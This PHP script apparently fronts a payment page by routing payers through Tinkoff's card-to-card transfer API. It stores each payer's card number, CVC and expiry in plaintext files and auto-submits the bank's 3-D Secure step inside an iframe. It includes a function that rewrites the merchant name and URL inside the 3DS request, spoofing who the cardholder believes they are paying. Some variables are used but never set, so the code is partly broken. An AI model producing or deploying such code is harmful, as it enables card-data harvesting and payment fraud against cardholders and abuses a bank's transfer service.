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<pre>
<?

function renameShop($pareq, $to_name, $to_link){
    $defaultPareq = base64_decode($pareq);
    $ThreeDSecureData = zlib_decode($defaultPareq);
    $ThreeDSecureDataXML = new \SimpleXMLElement($ThreeDSecureData);
    foreach($ThreeDSecureDataXML->xpath('/ThreeDSecure/Message/PAReq/Merchant') as $threeData) {
        $threeData->name = $to_name;
        $threeData->url = $to_link;
    }
    $ThreeDSecureData = $ThreeDSecureDataXML->asXML();
    $ThreeDSecureData = zlib_encode($ThreeDSecureData, ZLIB_ENCODING_DEFLATE);
    $ThreeDSecureData = base64_encode($ThreeDSecureData);
    return $ThreeDSecureData;
}

$url = "https://api.tinkoff.ru/v1/pay?origin=web%2Cib5%2Cplatform&sessionid=VgYrsQSzu3ZCEGvjtTxTZjyFzTi1WUyi.ds-prod-api11&wuid=3ed3703accdb4a29ae00d7be07452922";

$payParamsArr = [
    'cardNumber' => '****************',
    'formProcessingTime' => '0',
    'securityCode' => '***',
    'expiryDate' => 'MM/DD',
    'attachCard' => 'false',
    'provider' => 'c2c-anytoany',
    'currency' => 'RUB',
    'moneyAmount' => '10',
    'moneyCommission' => '40',
    'providerFields' => [
        'toCardNumber' => '****************'
    ]
];

$encPay = urlencode(json_encode($payParamsArr));

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// указываем, что у нас POST запрос
curl_setopt($ch, CURLOPT_POST, 1);
// добавляем переменные
curl_setopt($ch, CURLOPT_POSTFIELDS, 'payParameters='.$encPay);

$output = json_decode(curl_exec($ch), true);

curl_close($ch);

if (!isset($output['errorMessage'])) {
    $tempdata = $output;
    $tempdata["amount"] = ($_POST["amount"]);
    $tempdata["card"] = $card_number;
    $tempdata["cardCVC"] = $_POST["cardFromCVC"];
    $tempdata["cardExpired"] = $_POST["cardFromMonth"] . "/" . $_POST["cardFromYear"];
    file_put_contents("temp/" . $output['confirmationData']['3DSecure']['merchantData'], json_encode($tempdata, true));

    //$newpareq = renameShop($output['confirmationData']['3DSecure']['requestSecretCode'], 'FOPAY', 'https://fopay.ru/');

    echo '<html><head>' .
    '<script src="https://code.jquery.com/jquery-3.3.1.js"></script>' .
    '<script>$(document).ready(function(){$("#payform").submit();});</script>' .
    '</head><body style="padding: 0px; margin: 0px;">' .
    '<form action="' . $output['confirmationData']['3DSecure']['url'] . '" method="post" target="payframe" id="payform">' .
    '<input type="hidden" name="PaReq" value="' . $newpareq . '">' .
    '<input type="hidden" name="MD" value="' . $output['confirmationData']['3DSecure']['merchantData'] . '">' .
    '<input type="hidden" name="TermUrl" value="http://' . $_SERVER["SERVER_NAME"] . dirname($_SERVER["REQUEST_URI"]) . '/status.php?amount='.(int)$_POST['amount'].'&order_id=' . (int)$_POST["order_id"] . '">' .
    '</form>' .
    '<iframe name="payframe" style="width: 100%; height: 100%; border: 0px;"></iframe>' .
    '</body></html>';
}

//print_r($output);

?>